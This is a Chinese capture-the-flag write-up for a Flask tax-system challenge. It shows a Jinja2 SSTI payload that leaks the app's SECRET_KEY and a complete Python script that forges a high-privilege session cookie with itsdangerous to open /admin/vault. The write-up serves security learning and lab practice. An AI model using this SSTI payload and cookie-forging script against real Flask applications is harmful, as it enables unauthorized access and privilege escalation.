{{config.SECRET_KEY}}注入读密钥→itsdangerous伪造admin session



三、WEB-TaxSystem_SSTI
|
题目难度 |
中级 |
|
题目分类 |
WEB |
|
漏洞类型 |
SSTI (Server-Side Template Injection) + Session 伪造 |
◆ 题目描述
这是一道第十届御网杯网络安全线上挑战赛的基于 Flask 框架的税务系统题目。附件提供了完整的源码,包含 app.py、config.py 和 init_db.py 等核心文件。系统有一个管理员账号(admin/123456),登录后可以查看和编辑纳税人档案。我们的目标是获取管理员权限来访问 /admin/vault 获取 flag。
◆ 解题思路
Step 1:登录并信息收集
使用 curl 登录管理员账号,获取会话后观察各个功能点。通过审计源码发现,系统在编辑档案时会将用户输入的内容渲染到 Jinja2 模板中,这就是 SSTI 的入口。config.py 中存储了 SECRET_KEY,而这个密钥可以通过 SSTI 注入读取到。

Step 2:SSTI 注入获取 SECRET_KEY
在编辑档案功能中,注入以下 SSTI Payload:
{{ config.SECRET_KEY }}
服务器将这段模板语法进行渲染,直接返回了 SECRET_KEY 的值。这就是 SSTI 的危险之处——用户输入被当作模板代码执行,可以读取服务器上的敏感信息。
获取到的 SECRET_KEY:secret_tax_key_2026_xoxo
|
❗ 通过 SSTI 获取 SECRET_KEY 后,利用 itsdangerous 库伪造高权限 Session |
Step 3:伪造 Session Cookie
拿到 SECRET_KEY 后,我们就可以使用 Python 的 itsdangerous 库来伪造 Flask 的 session cookie。Flask 默认使用 itsdangerous 库对 session 数据进行签名,只要知道 SECRET_KEY,就能构造出任意内容的合法 session。我们构造一个 role=tax_inspector 的高权限 session,然后用它访问 /admin/vault 获取 flag。
◆ 伪造 Session 脚本
下面是完整的自动化利用脚本,涵盖了登录、验证密钥、伪造 session、获取 flag 的全流程:
import hashlib
import requests
from itsdangerous import URLSafeTimedSerializer
from itsdangerous.exc import BadSignature
TARGET = "http://47.99.147.34:16610"
try:
import itsdangerous
print(f"itsdangerous 版本: {itsdangerous.__version__}")
except Exception:
print("请安装: pip install itsdangerous")
exit(1)
print("\n[1] 登录 admin/123456...")
sess = requests.Session()
r = sess.post(f"{TARGET}/login",
data={"username": "admin", "password": "123456"},
allow_redirects=False)
raw_cookie = sess.cookies.get('session')
if raw_cookie:
print(f"原始 session: {raw_cookie[:60]}...")
else:
print("未获取到 session cookie")
raw_cookie = None
SECRET_KEY = "secret_tax_key_2026_xoxo"
print(f"\n[2] SECRET_KEY (从 SSTI 获取): {SECRET_KEY}")
SIGNER_KWARGS = {
'salt': 'cookie-session',
'signer_kwargs': {
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
}
if raw_cookie:
print("\n[3] 验证 SECRET_KEY...")
s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)
try:
data = s.loads(raw_cookie)
print(f"密钥正确! session 内容: {data}")
except BadSignature:
print("密钥签名不匹配,尝试其他参数...")
s2 = URLSafeTimedSerializer(SECRET_KEY, salt='cookie-session')
try:
data = s2.loads(raw_cookie)
print(f"无需 key_derivation 即可验证! session: {data}")
SIGNER_KWARGS = {'salt': 'cookie-session'}
except BadSignature:
print("仍然失败")
print("\n[4] 伪造 role=tax_inspector session...")
s = URLSafeTimedSerializer(SECRET_KEY, **SIGNER_KWARGS)
fake_cookie = s.dumps({'role': 'tax_inspector', 'user_id': 1})
print(f"伪造 session: {fake_cookie}")
print("\n[5] 访问 /admin/vault 获取 flag...")
r = requests.get(f"{TARGET}/admin/vault",
cookies={'session': fake_cookie})
print(f"[*] HTTP {r.status_code}")
if 'flag' in r.text.lower():
import re
m = re.search(r'flag\{[^}]+\}', r.text)
if m:
print(f"[+] FLAG: {m.group()}")
else:
print(f"成功进入 vault!\n{r.text[:800]}")

◆ 攻击流程小结
整个攻击过程可以概括为以下几个关键步骤:首先登录管理员账号,然后利用档案编辑功能中的 SSTI 漏洞,注入 {{ config.SECRET_KEY }} 读取到 Flask 应用的密钥。接着使用 itsdangerous 库和这个密钥伪造一个具有 tax_inspector 角色的高权限 session cookie。最后携带伪造的 cookie 访问 /admin/vault 页面,成功获取 flag。这道题的核心在于 SSTI 和 Session 伪造的组合使用,属于比较经典的 Flask 应用攻击链。

266

被折叠的 条评论
为什么被折叠?



